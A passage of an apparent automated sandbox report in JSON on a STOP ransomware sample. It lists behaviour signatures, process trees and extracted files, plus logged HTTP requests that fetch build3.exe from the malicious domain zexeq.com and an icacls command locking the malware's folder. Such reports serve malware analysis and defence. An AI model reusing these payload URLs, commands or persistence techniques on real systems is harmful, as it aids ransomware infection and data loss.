\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\bowsakkdestx.txt\" for deletion\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\build3[1].exe\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$63","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops PE files with different extensions","description":"$64","origin":"Binary File","mitre_attack_id":"T1036","relevance":5,"id":"binary-38","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops executable files inside user directory","description":"\"MicrosoftEdgeSetup.exe.xlzor0p.partial\" has type \"MS-DOS executable\"- Location: [%USERPROFILE%\\Downloads\\MicrosoftEdgeSetup.exe.xlzor0p.partial]- [targetUID: 00000000-00005112]","origin":"Binary File","mitre_attack_id":"T1036","relevance":5,"id":"binary-32","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops executable files with unusual extensions","description":"\"appwiz.cpl\" has type \"MS-DOS executable\" and unusual extension \"cpl\"","origin":"Binary File","mitre_attack_id":"T1036","relevance":10,"id":"binary-17","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetProcAddress\n GetModuleHandleA\n GetModuleFileNameW\n DeleteFileW\n GetModuleHandleW\n GetDriveTypeW\n IsDebuggerPresent\n GetModuleFileNameA\n GetTickCount\n LoadLibraryW\n GetCommandLineA\n WriteFile\n UnhandledExceptionFilter\n TerminateProcess\n DeleteFileA\n FindNextFileW\n GetStartupInfoW\n Sleep\n CreateFileW","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Rename many files (often indicator of ransomware infection)","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" renames more than 200 files","origin":"API Call","mitre_attack_id":"T1036","relevance":10,"id":"api-164","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Write many files with double extensions (often indicator of ransomware infection)","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" write more than 100 files with extension \"..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1451a4b68d548afb.manifest\"","origin":"API Call","mitre_attack_id":"T1486","relevance":5,"id":"api-201","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"$65","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" called \"ShellExecuteA\" with parameter %LOCALAPPDATA%\\5f84ace5-27d6-428f-a563-af4a01c6689e\\build3.exe (UID: 00000000-00005112)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" loaded module \"%WINDIR%\\SysWOW64\\taskschd.dll\" at 73150000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"malicious","category":"Installation/Persistence","name":"Sets thread context in a remote process (often injection or process hollowing)","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" set thread context in remote process \"C:\\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (PID: 104)\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" set thread context in remote process \"C:\\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (PID: 13f8)\n \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" set thread context in remote process \"%LOCALAPPDATA%\\aa563fba-3360-4fa5-95e2-4e5b9f25d979\\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (PID: e9c)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-14","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$66","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"zexeq.com\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"malicious","category":"Network Related","name":"Found unknown user-agent(s)","description":"Found the following user-agents: Microsoft Internet Explorer","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-56","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"malicious","category":"Network Related","name":"GETs executable from a webserver (HTTPS)","description":"GET /files/1/build3.exe HTTP/1.1\nUser-Agent: Microsoft Internet Explorer\nHost: zexeq.com\n","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":5,"id":"network-74","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_STOP\" matched process \"00000000-00005112\" as \"Detects STOP ransomware\" (Author: ditekSHen)","origin":"YARA Signature","relevance":9,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"malicious","category":"System Security","name":"Modifies the access control lists of files","description":"Process \"icacls.exe\" with commandline \"icacls \"%LOCALAPPDATA%\\\\aa563fba-3360-4fa5-95e2-4e5b9f25d979\" /deny *S-1-1-0:(OI)(CI)(DE,DC)\" (UID: 00000000-00003292)","origin":"Monitored Target","mitre_attack_id":"T1222.001","relevance":5,"id":"target-12","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Renames many files with double extensions (often indicator of ransomware infection)","description":"\"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" renames more than 100 files with extension \".resources_31bf3856ad364e35_10.0.17134.1_kok-in_8954f2bed0ca321e.manifest.gapo\"","origin":"API Call","mitre_attack_id":"T1486","relevance":10,"id":"api-200","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (UID: 00000000-00000240)\n Spawned process \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" (UID: 00000000-00000260)\n Spawned process \"icacls.exe\" with commandline \"icacls \"%LOCALAPPDATA%\\\\aa563fba-3360-4fa5-95e2-4e5b9f25d979\" /deny *S-1-1-0:(OI)(CI)(DE,DC)\" (UID: 00000000-00003292)\n Spawned process \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" with commandline \"--Admin IsNotAutoStart IsNotTask\" (UID: 00000000-00004868)\n Spawned process \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" with commandline \"--Admin IsNotAutoStart IsNotTask\" (UID: 00000000-00005112)\n Spawned process \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" with commandline \"--Task\" (UID: 00000000-00001252)\n Spawned process \"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe\" with commandline \"--Task\" (UID: 00000000-00003740)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Marks file for deletion"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"Exploit","details_count":2,"details":[{"detail":"Contains escaped byte string (often part of obfuscated shellcode)"},{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"Network","details_count":1,"details":[{"detail":"GETs executable from a webserver (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]}]},"activity":{"stats":{"process_count":7,"spawned_processes_count":7,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":11,"imported_dlls_count":96,"dropped_files_count":0,"extracted_files_count":81,"files_written_count":245,"files_deleted_count":0,"registry_keys_created_count":5,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":5,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":3,"http_requests_count":3},"behavior_tags":["stop","criminal","ransomware","dridex","filecoder","maldoc","banker","malicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"67f24d7d35b2ba1f0d0631f7","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["DEU","USA"],"submit_name":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe","analysis_start_time":"2025-04-06T09:46:37+00:00","indicators_count":{"informative":196,"suspicious":62,"malicious":14},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.21.32.1","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"address":"188.40.141.211","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]}],"dns_resolutions":[{"domain":"api.2ip.ua","address":"104.21.32.1","ttl":89,"country":"United States","registrar_name":"ua.101domain","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"domain":"zexeq.com","address":"188.40.141.211","ttl":21414,"country":"Germany","registrar_name":"WEBCC","registrar_organization":"Whoisprotection.cc","registrar_name_servers":"NS1.NEWCRYPTOR.ORG","registrar_creation_date":"2023-01-19T10:03:37+00:00","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]}],"http_requests":[{"host":"api.2ip.ua","host_ip":"104.21.32.1:443","url":"/geo.json","method":"GET","response_code":"429","response_phrase":"Too Many Requests","header":"GET /geo.json HTTP/1.1\nUser-Agent: Microsoft Internet Explorer\nHost: api.2ip.ua","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"host":"zexeq.com","host_ip":"188.40.141.211:80","url":"/raud/get.php?pid=B26C03561AFB3219181D305A741E63EC&first=true","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /raud/get.php?pid=B26C03561AFB3219181D305A741E63EC&first=true HTTP/1.1\nUser-Agent: Microsoft Internet Explorer\nHost: zexeq.com","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"host":"zexeq.com","host_ip":"188.40.141.211:80","url":"/files/1/build3.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/1/build3.exe HTTP/1.1\nUser-Agent: Microsoft Internet Explorer\nHost: zexeq.com","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}],"processes":[{"pid":240,"ppid":0,"name":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe","command_line":"","sha256":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614","normalized_path":"C:\\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe","uid":"00000000-00000240","icon":"$67"},{"pid":260,"ppid":240,"name":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe","command_line":"","sha256":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614","normalized_path":"C:\\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe","parent_uid":"00000000-00000240","uid":"00000000-00000260"},{"pid":3292,"ppid":260,"name":"icacls.exe","command_line":"icacls \"%LOCALAPPDATA%\\aa563fba-3360-4fa5-95e2-4e5b9f25d979\" /deny *S-1-1-0:(OI)(CI)(DE,DC)","sha256":"b027bc868d5c167804b33d0ccefcef0753d49eb2fb57f21f43e3fbb08d327e2e","normalized_path":"%WINDIR%\\SysWOW64\\icacls.exe","parent_uid":"00000000-00000260","uid":"00000000-00003292"},{"pid":4868,"ppid":260,"name":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe","command_line":"--Admin IsNotAutoStart IsNotTask","sha256":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614","normalized_path":"C:\\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe","parent_uid":"00000000-00000260","uid":"00000000-00004868"},{"pid":5112,"ppid":4868,"name":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe","command_line":"--Admin IsNotAutoStart IsNotTask","sha256":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614","normalized_path":"C:\\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe","parent_uid":"00000000-00004868","uid":"00000000-00005112"},{"pid":1252,"ppid":0,"name":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe","command_line":"--Task","sha256":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614","normalized_path":"%LOCALAPPDATA%\\aa563fba-3360-4fa5-95e2-4e5b9f25d979\\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe","uid":"00000000-00001252","icon":"$68"},{"pid":3740,"ppid":1252,"name":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe","command_line":"--Task","sha256":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614","normalized_path":"%LOCALAPPDATA%\\aa563fba-3360-4fa5-95e2-4e5b9f25d979\\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe","parent_uid":"00000000-00001252","uid":"00000000-00003740"}],"all_imported_dlls":["browcli.dll","oleaut32.dll","wow64.dll","gdi32.dll","msvcp_win.dll","VxSSL32.dll","ws2_32.dll","msvcrt.dll","msimg32.dll","user32.dll","uxtheme.dll","msctf.dll","IPHLPAPI.DLL","FWPUCLNT.DLL","dpapi.dll","psapi.dll","ntmarta.dll","win32u.dll","mpr.dll","OnDemandConnRouteHelper.dll","imagehlp.dll","rasadhlp.dll","edputil.dll","setupapi.dll","winsta.dll","wow64cpu.dll","sechost.dll","cfgmgr32.dll","powrprof.dll","iertutil.dll","wintrust.dll","gpapi.dll","propsys.dll","davclnt.dll","cscapi.dll","urlmon.dll","schannel.dll","rsaenh.dll","Windows.StateRepositoryPS.dll","pcacli.dll","davhlpr.dll","samcli.dll","profapi.dll","wininet.dll","winmm.dll","aepic.dll","drprov.dll","sspicli.dll","shlwapi.dll","windows.storage.dll","crypt32.dll","mswsock.dll","msIso.dll","cldapi.dll","ntlanman.dll","ucrtbase.dll","cryptbase.dll","sfc_os.dll","wkscli.dll","srvcli.dll","kernel32.dll","bcryptprimitives.dll","imm32.dll","clbcatq.dll","xmllite.dll","netapi32.dll","combase.dll","kernel.appcore.dll","msasn1.dll","dhcpcsvc.dll","ntdll.dll","wow64win.dll","fltLib.dll","cryptsp.dll","dwmapi.dll","shell32.dll","bcrypt.dll","ncrypt.dll","ole32.dll","gdi32full.dll","winhttp.dll","cryptnet.dll","netutils.dll","rpcrt4.dll","advapi32.dll","SHCore.dll","ncryptsslp.dll","KernelBase.dll","mskeyprotect.dll","ntasn1.dll","taskschd.dll","apphelp.dll","dnsapi.dll","nsi.dll","winmmbase.dll","winnsi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"OneDriveSetup.exe","sha256":"50e0e38ae1c9c889f9aa5434eb168030afbc343fd076850e7f68935c0344f33d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"python-3.11.0-amd64.exe","sha256":"3d23b39345ff80311c7fe15495f73efe479b43efc979bfe4998e06ecd4b0ec39","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"obfs4proxy.exe","sha256":"1dc015070536775db23d8660b935a6710f7e0bad938e632afc4e5fdf1fe73e24","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"snowflake-client.exe","sha256":"a54f847251cff20875eadbb291fb9818264222e8f4feb99fd09603ac26bd18b0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"tor-gencert.exe","sha256":"a8a4db03ea04ad3497765d67c64e2ef134cfef66da2cb54a4c58d84f97477620","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"tor.exe","sha256":"78b60216c07fab8b44bb186ac296fc5990596e204ac93c721b40b18f016889f7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"securekernel.exe","sha256":"0b4ff28ea712b0414bc7ae6dc11fea0fcca60de65a5862d3d9f4e9ac3d6eafc1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"appwiz.cpl","sha256":"e21d032df3b00860b8828e0cffdaba8dc3f06d0741640e13fe49a7c7b9d21bd0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"autofmt.exe","sha256":"91d4f59e742b25de785db3c03a2ea680c57216a7f15c1bdbca2832a5463ef2ab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"winresume.exe","sha256":"f4facdc7fea633a8f739fa0f8e352b6b810f5ade4f0fac65364f4e8ce8384ad0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"Built-In Building Blocks.dotx","sha256":"f705d89498efd966963a0c80e20a4399360ba8bf07a2e753bd11841fd19a2e17","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"NormalOld.dotm","sha256":"1e113e7bbf89dcde5e761d3ab4b43949daafa66fa57b14cfdc68c7b2c82b8b11","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"Welcome to PowerPoint.potx","sha256":"ad3df3457ba389fbf0f98e412558bb902d4147729dba82f272945d2586ae2276","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"Welcome to Word.dotx","sha256":"c3e1efb57b95ed5e35469df780a087319ae385b500034399b8354512916aafd4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"CUSTOM.DIC","sha256":"fe544a75a3cf7aad7cd914688ec777e3a17b7859925f36d1d64aeec12c5c51e6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"AdobeCMapFnt11.lst","sha256":"0aaafe1991d553ba53e9b382c0f369bffae61965913a37a3aa4b8b64f61e756f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"AdobeSysFnt11.lst","sha256":"d543b45fb9649f8dee415271227a9fa28e4c1be5ca46b0550a2c1987e72880da","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"AcroFnt11.lst","sha256":"b03f01760697166875a6fed92cc7246f927ebf5ddae6dacb359c2e0eaf0fd792","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"ie4uinit-ClearIconCache.log","sha256":"1074d08e24e06eb6a7969ba6bbb0c42feb0ce7c77ddb8530957d0118ba1aeeff","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"FileSyncConfig.exe","sha256":"6b154ee638a00601f47613aac3bf70cf0c8f473a3c5a237d7f0e557471580e5b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"FileSync.LocalizedResources.dll.mui","sha256":"21b1945b5cb9d0644863c2846598463c192ae3447811201bb7eb1afe240ec1c3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"OneDrive.exe","sha256":"e90e2e01b5d31a56b99aa66bdefe16df69b1dd2d6c3ad55d8411353610c0fca4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"normalizer.exe","sha256":"d331699fe9bfd11472eccb3614fd058b00864be50b0530a49d6eb3376b199525","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"pip.exe","sha256":"ec7d90421fe6572665d71e6b254424d715b2aaf3d3123321e17fbeb12d99ff6b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"pip3.10.exe","sha256":"2f5b9fb24adcf55483f9f59cfd4ecc8648d12b80b2fddea4049551156a22bf2c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"pip3.11.exe","sha256":"660c84cbab3b8c661964d331a6ab4a907e22f764db783eebee008c28a5904ab7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"pip3.exe","sha256":"1f0e0364ec2bfca3fa6070b9699bad936f671ee67e870d713d506e2b7653e7fa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"python.exe","sha256":"d746db7fe9683749bb5b46fa7e1b4f00abcc9d76d6577bd2a29093fb1c1415ae","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"pythonw.exe","sha256":"c0d87822d178f340ffeca30b055d2a101d436e603a89d609c0ab693a78f4c6b2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"x86_64-w64-mingw32-nmakehlp.exe","sha256":"dd02eb4687715ae65e356f4994b6acbc612070eb9ae1c1a357cdeeca5b48c081","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe","sha256":"1ee992df01901d40007977e42c3ce8bdd63234022da03b4b3273ec0a5b5f523e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"basicdisplay.inf","sha256":"1561f7e08e3d2c66ba7cec83760cdef4bc0f518fb912370775f2b555f5b45583","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"basicrender.inf","sha256":"de5d06d43c6aea06f22e2bbfef85d845c54896db298d1b56178f9d7c71f17725","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"bthpan.inf","sha256":"d8794590631e43ffb6342dfdc2ea17042bc9f30dffef6650a46f6d6f27a27dab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"bthprint.inf","sha256":"441f31059a8003f21be897e5c1fa743ef49e37b7c900a4c237d1d4fb0a2bd604","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"c_barcodescanner.inf","sha256":"5c7bf12ab8582cc1797ebc3ba762671f19949fd4433e2e7ee1f1a1dcef3cf29c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"c_cashdrawer.inf","sha256":"d78350c4b59c93b005ffae8766e206bb05b70bd310d63c7dd8b3bd5908059b6d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"c_linedisplay.inf","sha256":"1d9c2e8d0898605ab59bb377a1db284352f690e7c5209cdefa558a399c433a6c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"c_magneticstripereader.inf","sha256":"da7966db6b330176ecced9b204e4f17b56de50af27f9a9262442f29fc1ad59f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"c_receiptprinter.inf","sha256":"d005480f36dbf27a782f0afe0ae26b7e6eefd9a0fef3359e162e6c31aa7f32a7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"name":"display.inf","sha256":"37c6417ac3fa610ddf6e03b0e1ceb74b892f6ae0bdb41d445a0a125b6c074820","verdict":"undetect